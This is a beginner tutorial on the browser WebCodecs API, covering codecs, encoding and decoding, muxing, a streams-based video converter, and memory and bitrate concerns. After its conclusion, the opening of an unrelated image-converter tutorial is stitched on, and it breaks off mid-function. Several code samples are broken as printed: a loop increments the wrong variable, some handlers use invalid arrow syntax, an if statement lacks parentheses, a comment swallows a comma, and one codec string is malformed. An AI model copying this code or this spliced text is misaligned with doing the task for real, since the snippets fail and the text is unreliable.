WebCodecs is a relatively new API that allows browser applications to process video efficiently with very low-level control.

In the past, if you wanted to build, say, a video-editing app or live-streaming studio or anything that required 'heavy lifting', you needed to build a native desktop application. Many SaaS tools like Canva got around this with server-side video processing, which provided a much better UX, but which is much more complex and expensive.

With WebCodecs, it's now possible to build these apps entirely in the browser, without requiring users to download and install software, and without expensive, complex server infrastructure.

This isn't theoretical. Video Editing tools like Capcut saw an 83% boost in traffic after switching to WebCodecs + WebAssembly [1]. Utility apps like Remotion Convert and Free AI Video Upscaler (both open source) process thousands of videos a day with zero server costs and no installation required [2].

WebCodecs is even being used for entirely new use cases, like generating videos programatically [3].

If you're building any kind of video app, it's worthwhile to at least know about WebCodecs as an option for working with video in the browser.

In this guide, we will:

1. Review the basics of Video Processing

2. Introduce the WebCodecs API

3. Discuss Muxing + Demuxing to read and write video files

4. Build our own video conversion utility to convert videos between webm + mp4, and apply basic transformations

5. Cover some production-level concerns

6. Discuss additional resources

The goal of this article is to be a practical entry point and introduction to the WebCodecs API for frontend developers. It'll teach you how the API works and what you can do with it. I'll assume you know the basics of Javascript but you don't need to be a senior developer or a video engineer to follow along.

At the end, I'll mention additional learning resources and references. In future tutorials, I'll go more in-depth on specific topics like building a video editor, or doing live-streaming with WebCodecs. But this handbook should provide a solid starting point for what WebCodecs is, what it can do, and how to build a basic application with it.

Table of Contents

• Prerequisites

• Primer on Video Processing

  • Video Frames

  • Codecs

  • Encoding & Decoding

  • Containers

• What is WebCodecs?

  • Before WebCodecs

  • Core API

• Muxing and Demuxing

  • Demuxing

  • Muxing

• Building a Video Converter Utility

  • Transcoding

  • Transformations

  • Transform Pipeline

  • Complete Demo

• Production Concerns

  • Codecs

  • Bit rate

  • GPU vs CPU

  • Memory

• Further Resources

Prerequisites

You don't need to be a video engineer to follow along, but you should be comfortable with:

• Core JavaScript, including async/await and callbacks

• Basic browser APIs like fetch and the DOM

• What a File object is and how file inputs work in HTML

• A general sense of what HTML5 is (we'll use it briefly, but won't go deep)

No prior knowledge of video processing, codecs, or media APIs is required — that's what the first half of this handbook covers.

Primer on Video Processing

Hold your bunnies, because before getting into WebCodecs, I want to make sure you're aware of what codecs are before we even consider putting codecs on the web.

Video Frames

I presume you know what a video is. Ironically the 'video' below is actually a gif, but you get the idea.

Videos are just a series of images, shown one after the other, in quick succession. Each image is called a Video Frame, and each frame is associated with a timestamp. When a video player plays back the video, it displays each video frame at the time indicated by the timestamp.

Every frame in the video is made of pixels, with a 4K video frame containing approximately 8 million pixels (3840*2160 = 8294400).

Each pixel itself is actually made of 3 components: a Red, Green, and Blue value (also called RGB value).

Each of of the R, G and B color values is stored as an 8-bit integer, ranging from 0 to 255, with the number indicating the intensity of the red, green, or blue color component.

Combining the intensity of each of the R, G, and B components lets you represent any arbitrary color on the color spectrum:

So for each pixel, we need 3 bytes of data: 1 byte for each of the R, G, and B color values (1 byte = 8 bits). A 4K video frame therefore would contain ~25 Megabytes of data.

At 30 frames per second (a typical frame rate), a 1 hour, 4K video would be around 746 Gigabytes of data. If you've ever downloaded a large video or recorded HD video with your phone camera, you'll know that video files can be large, but they're never that large.

In reality, actual video files you might watch on YouTube, record on your phone camera, or download from the internet are ~100x smaller than that. The reason actual video files are much smaller is because of video compression, a family of very sophisticated algorithms that help reduce the data by ~100x.

Without this video compression, you wouldn't be able to record more than 10 minutes of video on the latest high-end smartphones, and you wouldn't be able to stream anything HD on a high-end home internet connection.

As sophisticated as our modern devices and internet connections are, without aggressive video compression, we wouldn't be able to watch, record, or stream anything in HD.

Codecs

A codec is a fancy word for a video compression algorithm. There are a few established codecs / compression algorithms, such as:

• h264: The most common codec. If you see an mp4 file, it most likely uses the h264 codec.

• vp9: An open source codec used commonly by YouTube and in video conferencing, often found in webm files.

• av1: A new open source codec, increasingly being used by platforms like YouTube and Netflix.

How these algorithms work is too complex and out of scope for this handbook. But at a very high level, here are some major ways these algorithms compress video:

Removing detail

All these algorithms use a technique called the Discrete Cosine Transform to "remove details". As you remove "detail" from the video frame, the frame starts looking "blockier". This technique is so effective, though, that you can compress a video frame by ~10x before the differences start becoming visible to the human eye.

For the curious, you can see this video by Computerphile on how the DCT algorithm works.

Encoding frame differences

When you actually look at a sequence of video frames, you'll notice that visually they're quite similar, with only small portions of the video changing, depending on how much movement there is.

These codecs/compression algorithms use sophisticated math and computer vision techniques to encode just the differences between frames,.

You therefore only need to send the first frame (a Key Frame) – then for subsequent frames you can send the "frame differences", also called Delta Frames, to reconstruct the each full frame.

In practice, for an hour long video, we don't just encode the first frame and store millions of delta frames. Instead, algorithms encode every 60th frame or so as a Key Frame, and then the next 59 frames are delta frames.

This technique is also highly effective, reducing data used by another ~10x. The distinction between Key Frames and Delta Frames is one of the few bits of "how these algorithms work" that you actually need to be aware of.

There's a number of other details and compression techniques that go into these compression algorithms that are out of scope for an intro article.

Encoding & Decoding

For video compression to work, we need to be able to both compress video (turn raw video into compressed binary data) and then decompress video (turn the compressed binary data back into raw video frames).

Turning raw video frames into compressed binary data is called encoding, and turning compressed binary data back into raw video frames is called decoding. The word codec is just an abbreviation for "encode decode".

From a practical, developer perspective, you don't need to know how these codecs work, but you do need to know that:

1. There are different video codecs, like h264, vp9, and av1

2. When you encode a video with a codec (like h264), you need a video player that can support the same codec to play back the video.

3. Encoding video takes a lot more computation than decoding video, so playing 4K video on a low-end phone is fine, but encoding 4K video on it would be super slow.

4. Most consumer devices (phones, laptops) have specialized chips designed specifically for encoding and decoding video, making encoding/decoding much faster than if run on the CPU like a normal software program. This is called hardware acceleration.

In practice, there are only a handful of video codecs, because the entire world needs to agree on standards, so that video recorded on an iPhone can be played back on a windows device.

Containers

Most people haven't heard of h264 or vp9. When you think of video files, you typically think of file formats like MP4 or MKV. These are also relevant, but they're a separate thing called containers.

A video file typically has encoded audio, encoded video, and metadata about the video file. A file format like MP4 describes a specific format for storing the encoded audio and video data, as well as the metadata.

Video compression software stores the encoded audio/video and metadata into a file according to the file format / specs. This is called muxing.

Likewise, video players follow the file format specs to read the metadata and find the encoded audio/video. This is called demuxing.

When compressing a video file, you need to both encode it and mux it (in that order). These are two separate stages of the process. Likewise, when playing a video file, you need to both demux it and then decode it (in that order).

When a video player opens, say, an mp4 file, the logic flow is as follows:

• Ok, the file ends in .mp4, so it must be an mp4 file. Let me load the library for parsing mp4 files, and parse then parse file.

• Great, I've parsed the mp4 file, I now have the metadata and know where in the byte offsets are to fetch the encoded audio and video.

• I'll start fetching the first encoded video frames, decode them, and start displaying the decoded video frame to the user.

If you ever see a "video file is corrupt" message from a video player, it's likely that the video file doesn't follow the file format spec and there was an error while trying the parse / demux the video.

What is WebCodecs?

Now that we've covered codecs, let's put them on the Web.

WebCodecs is an API that allows frontend developers to encode and decode video in the browser efficiently (using hardware acceleration), and with very low level control (encode/decode on a frame by frame basis).

The hardware acceleration bit is important, as you can't just poly fill or re-implement the API yourself. WebCodecs gives direct access to specialized hardware for encoding/decoding, making it as performant as a desktop video app.

Before WebCodecs

It's worth taking a moment to understand why WebCodecs exists. Before the WebCodecs API existed, there were several alternatives you could use for video operations in the browser.

• HTMLVideoElement: You can still create a element and use it for decoding a video. It's easy to use, but you lack frame level control. Your only control is setting the 'video.currrentTime' property and waiting for it to seek, often leading to dropped/missing frames.

• Media Recorder API: Essentially allows you to 'screen record' any canvas element or video stream. While it works, it's functionally equivalent to screen recording Adobe Premeire pro instead of clicking render. For editing scenarios, you lose frame level control and can only process video at real-time speed.

• FFMPEG.js: A port of the popular video processing tool ffmpeg, which runs ffmpeg in the browser. Many tools used this in the past, but it lacks hardware acceleration, making it much slower than WebCodecs. It also has file size restrictions stemming from the fact that it runs in WebAssembly, making it difficult to work with videos that are larger than 100 MB.

WebCodecs was built and released in 2021 to enable low-level, hardware accelerated video decoding and encoding. It's great for high-performance streaming and video editing, which were use cases not well-served by the existing APIs.

Core API

The core API for WebCodecs consists of two new "data types", the VideoFrame and EncodedVideoChunk, as well as the VideoEncoder and VideoDecoder interfaces.

VideoFrame

The Javascript VideoFrame object conceptually contains both pixel data and metadata about the video frame.

You can actually create a new VideoFrame object from any image source, as long as you include the metadata:

const bitmapFrame = new VideoFrame(imgBitmap, {timestamp: 0});

const imageFrame = new VideoFrame(htmlImageEl, {timestamp: 0});

const videoFrame = new VideoFrame(htmlVideoEl, {timestamp: 0});

const canvasFrame = new VideoFrame(canvasEl, {timestamp: 0});

For a video editing app, for example, you would typically perform image editing operations on each frame on a canvas, and then you would grab each VideoFrame from the canvas.

You can also draw a VideoFrame to a canvas using the Canvas 2D rendering context:

ctx.drawImage(frame, 0, 0);

You would typically do this when rendering / playing back a video in the browser.

EncodedVideoChunk

An EncodedVideoChunk is just the compressed version of a VideoFrame, containing the binary data as well as the same metadata as the frame.

You would typically get EncodedVideoChunks from a library which extracts them from a File object.

import { getVideoChunks } from 'webcodecs-utils'

const chunks = <EncodedVideoChunk[]> await getVideoChunks(<File> file);

Alternatively, it's the output you get from a VideoEncoder object.

There's not much useful stuff you can do with EncodedVideoChunks – it's just the binary data that you read from files, write to files, or stream over the internet.

The value in EncodedVideoChunk is that it's ~100x smaller than raw video data, which is why you'd send EncodedVideoChunks instead of raw video when streaming (and writing to a file).

VideoEncoder

A VideoEncoder turns VideoFrame objects into EncodedVideoChunk objects.

The core API looks something like this, where you define the callback where the VideoEncoder returns EncodedVideoChunk objects.

const encoder = new VideoEncoder({
    output: function(chunk: EncodedVideoChunk, meta: any){
        // Do something with the chunk
    },
    error: function(e: any)=> console.warn(e);
});

Keep in mind that this is an async process, and not even a typical async process. You can't just treat this as a per-frame operation.

// Does not work like this
const frame  = await encoder.encode(chunk);

This is because of how video encoding actually works under the hood. So you have to accept that the outputs are returned via callback, and you get the outputs when you get them.

Once you define your encoder, you can then configure the VideoEncoder with your choice of codec (we'll get to this), as well as other parameters like width, height, framerate and bitrate.

encoder.configure({
    'codec': 'vp9.00.10.08.00', // We'll get to this
     width: 1280,
     height: 720,
     bitrate: 1000000 //1 MBPS,
     framerate: 25
});

You can then start encoding frames. Here we assume we already have VideoFrame objects, and we make every 60th frame a Key Frame.

for (let i=0; i < frames.length; frames++){
    encoder.encode(frames[i], {keyFrame: i%60 ==0})
}

VideoDecoder

The Video Decoder does the reverse, turning EncodedVideoChunk objects into VideoFrame objects.

Here's a simplified example of how to set up the VideoDecoder. First, extract the EncodedVideoChunk objects and the decoder config from the video file. Here, we don't choose the config – the config was chosen by whoever encoded the file. When decoding, we extract the config from the file.

import { demuxVideo } from 'webcodecs-utils';

const {chunks, config} = await demuxVideo(<File> file);

Next, we set up the VideoDecoder by specifying the callback when VideoFrame objects are generated, and we configure it with the config.

const decoder = new VideoDecoder({
    output: function(frame: VideoFrame){
        //do something with the VideoFrame
    },
    error: function(e: any)=> console.warn(e);
});

decoder.configure(config)

Again, like with VideoEncoder, it returns frames in a callback. Finally we can start decoding chunks.

for (const chunk of chunks){
    decoder.decode(chunk);
}

Putting it all together

At its core, the WebCodecs API is just the two data types (EncodedVideoChunk, VideoFrame) and the VideoEncoder and VideoDecoder interfaces which convert between the two data types.

Keep in mind that the WebCodecs API doesn't actually work with video files. It only applies the encoding and decoding, and EncodedVideoChunk objects just represent binary data.

Reading video files and writing video files are their own, separate thing called muxing/demuxing.

Muxing and Demuxing

To write to a video file, you'll also need to mux the video. And to play a video file, you need to demux the video. This involves following the file format of the video container, parsing the video file (in the case of demuxing), or placing encoded video data in the right place in the file you are writing to (muxing).

Muxing and Demuxing are not included in the WebCodecs API, so you'll need to use a separate library to handle muxing and demuxing.

Demuxing

To play a video back in the browser, we need to both demux the video and decode the video, in that order.

There are several libraries you can use to demux videos, including MediaBunny or web-demuxer. For the purposes of this tutorial, I put a very simplified wrapper around these libraries and exposed it in the webcodecs-utils package, so that demuxing is a very simple 2-liner:

import { demuxVideo } from 'webcodecs-utils'
const {chunks, config} = await demuxVideo(file);

This reads the entire video into memory, so don't do this in practice. But it's helpful in making a simple, readable hello world for WebCodecs.

The following snippet will take in a video file (File object), decode it, and paint the result to a canvas. Here, we get the frames from the output callback, and run the draw calls directly from the callback.

import { demuxVideo } from 'webcodecs-utils'

async function playFile(file: File){

    const {chunks, config} = await demuxVideo(file);
    const canvas = document.createElement('canvas');
    const ctx = canvas.getContext('2d');

    const decoder = new VideoDecoder({
        output(frame: VideoFrame) {
            ctx.drawImage(frame, 0, 0);
            frame.close()
        },
        error(e) {}
    });


    decoder.configure(config);

    for (const chunk of chunks){
        decoder.decode(chunk)
    }

}

Here's our super barebones demo for playing back an actual video:

For a more 'correct' demuxing example, here is what demuxing looks like with MediaBunny, where you can extract chunks in an iterative fashion.

import { EncodedPacketSink, Input, ALL_FORMATS, BlobSource } from 'mediabunny';

const input = new Input({
  formats: ALL_FORMATS,
  source: new BlobSource(<File> file),
});

const videoTrack = await input.getPrimaryVideoTrack();
const sink = new EncodedPacketSink(videoTrack);

for await (const packet of sink.packets()) {
  const chunk = <EncodedVideoChunk> packet.toEncodedVideoChunk();
}

Muxing

To write a video file, you not only need to encode it (with the VideoEncoder) you also need to mux it. This involves taking the encoded chunks and placing them in the right place in the output binary file that you're writing to.

Again, you need a library to mux videos ( MediaBunny), but for demo purposes I created a super simple wrapper. Here we define a super basic ExampleMuxer.

import { ExampleMuxer } from 'webcodecs-utils'

const muxer = new ExampleMuxer('video');

for (const chunk of encodedChunks){
    muxer.addChunk(chunk);
}

const outputBlob = await muxer.finish();

As a full encoding + muxing demo, we'll create an encoder, and we'll set it to mux the output encoded chunks as soon as they are returned.

const encoder = new VideoEncoder({
    output: function(chunk, meta){
        muxer.addChunk(chunk, meta);
    },
    error: function(e){}
})

encoder.configure({
    'codec': 'avc1.4d0034', // We'll get to this
     width: 1280,
     height: 720,
     bitrate: 1000000 //1 MBPS,
     framerate: 25
});

We'll then define a canvas animation, which will draw the current frame number to the screen, just to prove it's working.

const canvas = new OffscreenCanvas(640, 360);
const ctx = canvas.getContext('2d');
const TOTAL_FRAMES=300;
let frameNumber = 0;
let chunksMuxed = 0;
const fps = 30;


function renderFrame(){
    ctx.fillStyle = '#000';
    ctx.fillRect(0, 0, canvas.width, canvas.height);
    ctx.fillStyle = 'white';
    ctx.font = `bold ${Math.min(canvas.width / 10, 72)}px Arial`;
    ctx.textAlign = 'center';
    ctx.textBaseline = 'middle';
    ctx.fillText(`Frame ${frameNumber}`, canvas.width / 2, canvas.height / 2);
}

Finally we'll create the encode loop, which will draw the current frame, and then encode it.

let flushed = false;

async function encodeLoop(){

    renderFrame();

    const frame = new VideoFrame(canvas, {timestamp: frameNumber/fps*1e6});
    encoder.encode(frame, {keyFrame: frameNumber %60 ===0});
    frame.close();

    frameNumber++;

    if(frameNumber === TOTAL_FRAMES) {
        if (!flushed) encoder.flush();
    }
    else return requestAnimationFrame(encodeLoop);
}

Putting it all together, you can encode the canvas animation to a video file with frame-level accuracy.

You can download the video and use any video inspection tool to verify that every single frame number is included.

This is one of the critical distinctions that separates this from other web APIs like MediaRecorder which can also encode video, but has no frame-level accuracy. WebCodecs makes sure that you can control and guarantee the consistency of each frame.

Finally, a proper full, muxing example using MediaBunny would look like this:

import {
  EncodedPacket,
  EncodedVideoPacketSource,
  BufferTarget,
  Mp4OutputFormat,
  Output
} from 'mediabunny';

async function muxChunks(chunks: EncodedVideoChunk[]): Promise <Blob>{

    const output = new Output({
        format: new Mp4OutputFormat(),
        target: new BufferTarget(),
    });

    const source = new EncodedVideoPacketSource('avc');
    output.addVideoTrack(source);

    await output.start();

    for (const chunk of chunks){
        source.add(EncodedPacket.fromEncodedChunk(chunk))
    }

    await output.finalize();
    const buffer = <ArrayBuffer> output.target.buffer;
    return new Blob([buffer], { type: 'video/mp4' });

});

Building a Video Converter Utility

Now that we've covered the basics of WebCodecs as well as Muxing, we'll move towards actually building an MVP of something useful: a video converter utility. We'll be able to use it to convert between mp4 and webm, and do some basic operations like resizing and flipping the video.

Transcoding

Before we do resizing and flipping, let's first handle a basic conversion decoding a video, and encoding the video to a new format. This is called transcoding.

To transcode video, we need to set up a pipeline with the following processes:

• Demuxing: Read EncodedVideoChunks from a video file

• Decoding: Convert EncodedVideoChunks to VideoFrames

• Encoding: Convert VideoFrames to new EncodedVideoChunks

• Muxing: Write the EncodedVideoChunks to a new video file

Our pipeline looks something like this:

Using everything we've covered in this article up until now, we could build a full working demo with just VideoEncoder and VideoDecoder as discussed. But then state management and tracking frames becomes complicated and error prone.

We're going to add one more abstraction, using the Streams API, which will make our pipeline look like the below. It ties directly to our mental model of our pipeline and simplifies a ton of details like state management.

const transcodePipeline = demuxerReader
    .pipeThrough(new VideoDecoderStream(videoDecoderConfig))
    .pipeThrough(new VideoEncoderStream(videoEncoderConfig))
    .pipeTo(createMuxerWriter(muxer));

await transcodePipeline;

To do this, we'll create a TransformStream for the VideoDecoder and VideoEncoder.

class VideoDecoderStream extends TransformStream<{ chunk: EncodedVideoChunk; index: number }, { frame: VideoFrame; index: number }> {
  constructor(config: VideoDecoderConfig) {
    let pendingIndices: number[] = [];
    super(
      {
        start(controller) {
          decoder = new VideoDecoder({
            output: (frame) => {
              const index = pendingIndices.shift()!;
              controller.enqueue({ frame, index });
            },
            error: (e) => controller.error(e),
          });

          decoder.configure(config);
        },

        async transform(item, controller) {
          pendingIndices.push(item.index);
          decoder.decode(item.chunk);
        },

        async flush(controller) {
          await decoder.flush();
          if decoder.state !== 'closed' decoder.close();
        },
      }
    );
  }
}

I won't bore you with the full code, but I've packaged these utilities in the webcodecs-utils package, which can be used as such:

import {
  SimpleDemuxer,
  VideoDecodeStream,
  VideoEncodeStream,
  SimpleMuxer,
} from "webcodecs-utils";

Our code for transcoding a file then becomes this:

const demuxer = new SimpleDemuxer(videoFile);
await demuxer.load();
const decoderConfig = await demuxer.getVideoDecoderConfig();

const encoderConfig = {/*Whatever we decide*/};

// Set up muxer
const muxer = new SimpleMuxer({ video: "avc" });

// Build the upscaling pipeline
await demuxer.videoStream()
  .pipeThrough(new VideoDecodeStream(decoderConfig))
  .pipeThrough(new VideoEncodeStream(encoderConfig))
  .pipeTo(muxer.videoSink());

// Get output
const blob = await muxer.finalize();

For this intermediate demo, just to actually get transcoding to work, we'll download a pre-built file, and we'll introduce a toggle to output an mp4 file (using h264) or a webm file (using vp9).

We'll use avc1.4d0034 for h264 (most widely supported h264 codec string) and vp09.00.40.08.00 for vp9 (most widely supported vp9 string).

Here's a basic transcoding demo on CodePen:

Transformations

If we want to do any kind of transformations to the video, like flips, crops, rotations, resizing, and so on, we can't just work with pure VideoFrame objects.

The simplest way to accomplish this would be to introduce a Canvas element, where we'll use a 2d Canvas Context to manipulate our source frame and draw that to a canvas.

const canvas = new OffscreenCanvas(width, height);
const ctx = canvas.getContext('2d');

// Very easy to do transformations
ctx.drawImage(sourceFrame, 0, 0);

We'll then use the Canvas as a source image for our output video frame.

const outFrame = new VideoFrame(canvas, {timestamp: sourceFrame.timestamp});

To apply a resize operation, we'll first set the canvas dimensions to our output height and width.

const canvas = new OffscreenCanvas(outputWidth, outputHeight);
const ctx = canvas.getContext('2d');

// Resize sourceFrame to fit output dimensions
ctx.drawImage(sourceFrame, 0, 0, outputWidth, outputHeight);

To apply a horizontal flip operation with canvas2d, we can do the following:

ctx.scale(-1, 1);
ctx.translate(-outputWidth, 0);
ctx.drawImage(sourceFrame, 0, 0, outputWidth, outputHeight);

You can create a full render function that applies these transformations which looks like this:

function render(videoFrame, outW, outH, flipped) {

  canvas.width  = outW;
  canvas.height = outH;

  if (flipped) {
    ctx.scale(-1, 1);
    ctx.translate(-outW, 0);
  }
  ctx.drawImage(videoFrame, 0, 0, outW, outH);

}

Here's an interactive demo of what these transformations look like:

Transform Pipeline

With these transformations, we need to adjust our pipeline to include a transformation step. It will take in a VideoFrame, apply the transforms, and return a transformed frame.

In the webcodecs-utils package, there is a VideoProcessStream object for this purpose, which takes in an async function which takes in a VideoFrame and returns a VideoFrame:

import { VideoProcessStream} from "webcodecs-utils";
 
new VideoProcessStream(async (frame) => {
      // Apply transformations
      return procesedFrame;
    }),

So to apply our transformations, we can set it up as so:

import { VideoProcessStream} from "webcodecs-utils";
 

const canvas = new OffscreenCanvas(outW, outH);
const ctx = canvas.getContext('2d');

const processStream = new VideoProcessStream(async (frame) => {
  
  if (flipped) {
    ctx.scale(-1, 1);
    ctx.translate(-outW, 0);
  }
  ctx.drawImage(frame, 0, 0, outW, outH);

  return new VideoFrame(canvas, {timestamp: frame.timestamp});

});

And then our full pipeline looks like this:

const demuxer = new SimpleDemuxer(videoFile);
await demuxer.load();
const decoderConfig = await demuxer.getVideoDecoderConfig();

const encoderConfig = {/*Whatever we decide*/};

// Set up muxer
const muxer = new SimpleMuxer({ video: "avc" });

// Build the upscaling pipeline
await demuxer.videoStream()
  .pipeThrough(new VideoDecodeStream(decoderConfig))
  .pipeThrough(processStream) // Just defined this
  .pipeThrough(new VideoEncodeStream(encoderConfig))
  .pipeTo(muxer.videoSink());

// Get output
const blob = await muxer.finalize();

Here's a full working demo with the process pipeline:

Complete Demo

Now, for the complete tool, we'll make some key changes:

• You can upload your own video

• We'll preview the transformations by extracting a frame

• We'll add progress measurement

For the input, that's trivial:

<input type="file" onchange="handler(event)" />

For frame previews, we could use WebCodecs to generate a preview, but because the preview doesn't need frame-level accuracy or high performance, it's easier to just use the HTML5 VideoElement to grab a video frame from the source file.

async function getFirstFrame(file) {
  const video = document.createElement("video");
  video.src = URL.createObjectURL(file);
  video.muted = true;

  await new Promise((resolve) => video.addEventListener("loadeddata", resolve, { once: true }));
  video.currentTime = 0;
  await new Promise((resolve) => video.addEventListener("seeked", resolve, { once: true }));

  return new VideoFrame(video, {timestamp: 0});
}

Finally, we can calculate progress in the process function by using the frame timestamp / the video duration.

const {duration} = await demuxer.getMediaInfo();


const processStream = new VideoProcessStream(async (frame) => {
  
  if (flipped) {
    ctx.scale(-1, 1);
    ctx.translate(-outW, 0);
  }
  ctx.drawImage(frame, 0, 0, outW, outH);

   // Frame timestamps are in microseconds, duration in seconds
  const progress = frame.timestamp/(duration*1e6); 

  return new VideoFrame(canvas, {timestamp: frame.timestamp});

});

Putting this all together, we can finally put together a full working video converter utility:

And that's it! We've built an MVP of something actually useful with WebCodecs 🎉, with Demuxing, Decoding, Canvas Transforms, Encoding, and Muxing.

The only difference between this and a full-fledged browser editing suite like Capcut is the scale and scope of transformations. But the video processing logic would be nearly identical.

Production Concerns

It's great that we've been able to create something useful, but before we wrap up, it's important to cover some production-level concerns.

Codecs

You might have noticed strings like vp09.00.10.08 in the demos, but I glossed over the details. We'll cover that now:

First, WebCodecs works with specific codec strings like vp09.00.10.08, not just 'vp9'. The following won't work:

const codec = VideoEncoder({
    codec: 'vp9', //This won't work!
    //...
})

As discussed previously, when decoding video, you don't really get a choice of codec. The video is already encoded, and so you need to get the codec from the video, as shown in the previous demos.

The demuxing libraries mentioned will identify the correct codec string, so you don't need to worry about that.

const decoderConfig = await demuxer.getVideoDecoderConfig();
//decoderConfig.codec = exact codec string for the video

When encoding a video, you can can choose your codec. Some people care a lot about codec choice, but from a very practical, pragmatic perspective, these rules of thumb should work for most developers:

• If the videos your app generates will be downloaded by users and/or you want to output mp4 files, use h264.

• If the videos generated are for internal use or you control video playback, and you don't care about format, use vp9 with webm (open source, better compression, most widely supported codec).

• For most apps, these two options will cover you — deeper codec selection is a rabbit hole you don't need to go down yet.

Once you have a codec family chosen, you need to choose a specific codec string such as avc1.42001f.

The other numbers in the string specify certain codec parameters which are not as important from a developer perspective. If your goal is maximum compatibility, here's your cheat sheet for what codec strings to use

h264 (for mp4 files)

• avc1.42001f - base profile, most compatible, supports up to 720p (99.6% support)

• avc1.4d0034 - main profile, level 5.2 (supports up to 4K) (98.9% support)

• avc1.42003e - base profile, level 6.2 (supports up to 8k) (86.8% support)

• avc1.64003e - high profile - level 6.2 (supports up to 8k) (85.9% support)

vp9 (for webm files)

• vp09.00.10.08.00 - basic, most compatible, level 1 (99.98% support)

• vp09.00.40.08.00 - level 4 (99.96% support)

• vp09.00.50.08.00 - level 5 (99.97% support)

• vp09.00.61.08.00 - level 6 (99.97% support)

You can also use the getCodecString function from the webcodecs-utils package:

import { getCodecString } from 'webcodecs-utils'

const codec_string = getCodecString('vp9', width, height, bitrate)

You can find a comprehensive list of what codecs and codec strings you can use in WebCodecs here.

Bit rate

On top of height and width (which you presumably know from your content) and a codec string (which we just discussed), you also need to specify a bit rate when encoding video.

Video Compression algorithms have a trade-off between quality and file size. You can have high quality video with big file sizes, or lower quality video with lower file sizes.

Here's a quick visualization of what different quality levels look like for a 1080p video encoded at different bit rates:

300 kbps

1 Mbps

3 Mbps

10 Mbps

Here's a quick lookup table for bitrate guidance:

You can also use this utility function in your own app as a quick approximation:

function getBitrate(width, height, fps, quality = 'good') {
    const pixels = width * height;

    const qualityFactors = {
      'low': 0.05,
      'good': 0.08,
      'high': 0.10,
      'very-high': 0.15
    };

    const factor = qualityFactors[quality] || qualityFactors['good'];

    // Returns bitrate in bits per second
    return pixels * fps * factor;
  }

The same function is also available in the webcodecs-utils package:

import { getBitrate } from 'webcodecs-utils'

GPU vs CPU

Most user devices have some type of graphics card (typically called integrated graphics). These are specialized chips with specific silicon architectures optimized for encoding and decoding video, as well as for basic graphics.

You might hear "GPU" and think AI data centers and gamers. But as far as web applications are concerned, almost everyone has a GPU.

This is important because while most frontend-development almost exclusively deals with the CPU, WebCodecs and video processing work primarily on the GPU.

Here's a quick guide for what kind of data is stored where:

There's a performance cost to moving data around, and this also becomes important for managing memory.

Memory

VideoFrame objects can be quite large – 30MB for a 4K video. A user's graphics card typically reserves some portion of RAM for "Video Memory" or "VRAM" which is where VideoFrame objects would be stored.

So if a user has 8GB of RAM, they would typically have 2GB of VRAM (how much is decided by the operating system).

If the amount of video data exceeds VRAM, your application will crash. This means that for a typical user, if you have more than 67 4K frames in memory (~2 seconds of video) the program will crash.

When VideoFrames are generated

VideoFrame objects are generated whenever you create a new VideoFrame(source) but also from the VideoDecoder, specifically the output callback. Every time a frame is generated, memory usage goes up.

How to remove VideoFrames

You can't rely on standard garbage collection for VideoFrame objects. You have to explicitly call close() on a frame when you're done:

frame.close()

In the Streams/Pipeline code and demo showed earlier, frames are actually being closed as soon as they are encoded in the VideoProcessStream and VideoEncodeStream interfaces.

The other reason Streams are helpful for WebCodecs is the highWaterMark property, which defaults to 10. What this means is that when you run:

await demuxer.videoStream()
  .pipeThrough(new VideoDecodeStream(decoderConfig))
  .pipeThrough(processStream) 
  .pipeThrough(new VideoEncodeStream(encoderConfig))
  .pipeTo(muxer.videoSink());

You ensure that no more than 10 video frames are in memory at any given time. The Streams API allows you to specify that limit while the browser itself deals with the logic of how to make that happen.

If you don't use the Streams API, you'll need to make sure you manage keeping track of memory limits and number of open video frames yourself.

Further Resources

Through this article we've gone over the basics of video processing, introduced the core concepts of the WebCodecs API, and built an MVP of a video converter utility. This is one of the simplest possible demos which actually touches all parts of the API. We also covered some basic production concerns.

This is just an introduction, and only scratches the surface of WebCodecs. For how simple the API looks, building a proper, production-ready WebCodecs application requires moving beyond hello-world demos.

To learn more about WebCodecs, you can check out MDN and the WebCodecsFundamentals, a comprehensive online textbook going much more in depth on WebCodecs.

You can also examine the source code of existing, production tested apps like Remotion Convert (source code) which is most similar to the demo app we covered, and Free AI Video Upscaler (source code, processing pipeline) which is the inspiration for the design patterns presented here and implemented in webcodecs-utils.

Finally, while WebCodecs is harder than it looks, you can make your life a lot easier by using a library like MediaBunny, which simplifies a lot of the details of things like memory management, file I/O, and other details. I use it in my own production WebCodecs applications.

Whether or not you actually build a full, production grade WebCodecs application, you now at least know that it's an option – one that's relatively new, provides better UX with lower server costs, and which is increasingly being adopted by prominent video applications like Capcut and Descript for its benefits.

Most developers use online tools for this. But there’s a problem: many of those tools upload your image to a server. That can be slow, and sometimes you don’t want to upload private files at all.

The good news is that modern browsers are powerful enough to handle image conversion locally using JavaScript.

In this tutorial, you’ll learn how to build a browser-based image converter that runs entirely in the browser. The tool converts images using JavaScript without uploading files to a server, and allows users to download the converted file instantly.

By the end, you’ll understand how browser-based file processing works and how to use it in your own projects.

Table of Contents

1. How Browser-Based Image Conversion Works

2. Project Setup

3. How to Read the Image File in JavaScript

4. How the Canvas Converts the Image

5. How the Download Works

6. Why This Approach Is Powerful

7. Important Notes from Real-World Use

8. Common Mistakes to Avoid

9. How You Can Extend This Project

10. Why Browser-Based Tools Are Becoming More Popular

11. Demo: How the Image Converter Works

12. Conclusion

How Browser-Based Image Conversion Works

Before writing code, you should understand what’s happening behind the scenes.

Modern browsers provide several APIs that make this possible. JavaScript can read local files from a user’s device, draw images on a canvas element, and export the processed image in a different format.

The key pieces we’ll use are:

• File input – to select an image

• FileReader – to read the file

• Canvas API – to redraw and convert

• toDataURL or toBlob – to export the converted image

The important thing is that everything happens locally in the user’s browser. Nothing gets uploaded anywhere.

Project Setup

We’ll keep this simple with just HTML and JavaScript.

Create an index.html file:

<!DOCTYPE html>
<html>
<head>
  <title>Image Converter</title>
</head>
<body>

<h2>Browser Image Converter</h2>

<input type="file" id="upload" accept="image/*">

<select id="format">
  <option value="image/png">PNG</option>
  <option value="image/jpeg">JPEG</option>
  <option value="image/webp">WebP</option>
</select>

<button onclick="convertImage()">Convert</button>

<br><br>

<a id="download" style="display:none;">Download Converted Image</a>

<script src="script.js"></script>

</body>
</html>

This simple interface includes a file upload input for selecting the image, a format selector for choosing the output format, a convert button to start the process, and a download link that appears once the image has been converted.

Now let’s add the logic.

How to Read the Image File in JavaScript

Create a script.js file:

function convertImage() {

  const fileInput = document.getElementById("upload");
  const format = document.getElementById("format").value;

  if (!fileInput.files.length) {
    alert("Please select an image");
    return;
  }

  const file = fileInput.files[0];
  const reader = new FileReader();

